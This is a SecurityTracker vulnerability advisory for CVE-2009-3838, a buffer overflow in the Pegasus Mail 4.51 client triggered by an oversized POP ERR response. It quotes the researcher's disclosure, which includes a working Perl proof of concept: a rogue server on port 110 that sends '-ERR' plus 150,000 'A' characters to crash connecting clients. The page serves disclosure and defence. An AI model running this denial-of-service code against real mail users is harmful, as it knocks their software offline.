SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (E-mail Server)  >   Pegasus Mail Vendors:   Harris, David
Pegasus Mail ERR POP Command Buffer Overflow Lets Remote Users Deny Service
SecurityTracker Alert ID:  1023075
SecurityTracker URL:  http://securitytracker.com/id/1023075
CVE Reference:   CVE-2009-3838   (Links to External Site)
Updated:  Nov 18 2009
Original Entry Date:  Oct 23 2009
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 4.51, June 23, 2009 build
Description:   A vulnerability was reported in Pegasus Mail. A remote user can cause denial of service conditions.

A remote user can send specially crafted POP ERR command data to TCP port 110 on the target server to trigger a buffer overflow and cause the target service to crash.

Francis Provencher (Protek Research Lab's) reported this vulnerability.

Impact:   A remote user can cause the target service to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.pmail.com/ (Links to External Site)
Cause:   Boundary error
Underlying OS:   Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Thu, 22 Oct 2009 10:56:05 -0700 (PDT)
Subject:  {PRL} Pegasus Mail client BoF

#####################################################################################

Application:  Pegasus Mail Client
            
Platforms:    Windows XP Professional SP2

Exploitation: remote BoF

Date:         2009-10-06

Author:       Francis Provencher (Protek Research Lab's) 
	
             

#####################################################################################

1) Introduction
2) Technical details
3) The Code (Only DoS)


#####################################################################################

===============
1) Introduction
===============

Pegasus Mail (PMail) is suitable for single or multiple users on stand-alone computers and for internal and Internet mail on local
 area networks. Pegasus Mail has minimal system requirements compared with competing products, for instance the installed program
 (excluding mailboxes) for version 4.51 requires only around 13.5 MB of hard drive space. Since Pegasus Mail does not make changes
 to the Windows registry or the system directory, it is suitable as a portable application for USB drives. Language packs are available
 for languages other than English.

Some commentators have described Pegasus Mail as convoluted and cumbersome to configure, whereas others value Pegasus Mail for the
 features it offers. A key feature of Pegasus Mail is that it does not use the HTML layout engine that is installed with every Microsoft
 operating system since 1997: The ubiquity of the Microsoft engine, which is used not only by all Microsoft products but by numerous
 3rd party products as well, makes it a frequent target of malware such as Melissa and ILOVEYOU. Mail clients such as Pegasus Mail
 that have their own HTML rendering engine are inherently immune to these security exploits. Pegasus Mail will also not execute automation
 commands (for example ActiveX or JavaScript) embedded in an e-mail, further reducing the chances of a security breach.


(from Wikipedia website)
#####################################################################################

============================
2) Technical details 
============================

Pegasus Mail 4.51.(win32)
Jun 23 2009 (Last Build)


#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


#!/usr/bin/perl

use IO::Socket;

$port = 110;

$serv = IO::Socket::INET->new(Proto=>'tcp',
                              LocalPort=>$port,
                              Listen=>1)
or die "Error: listen($port)\n";

$cli = $serv->accept() or die "Error: accept()\n";

$junk    = "A" x 150000;

$payload = "-ERR " . $junk . "\r\n"; # 

     $cli->send($payload);

     close($cli);
     close($serv);


#####################################################################################
(PRL-2009-12)


      __________________________________________________________________
Make your browsing faster, safer, and easier with the new Internet Explorer® 8. Optimized for Yahoo! Get it Now for Free! at http://downloads.yahoo.com/ca/internetexplorer/


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC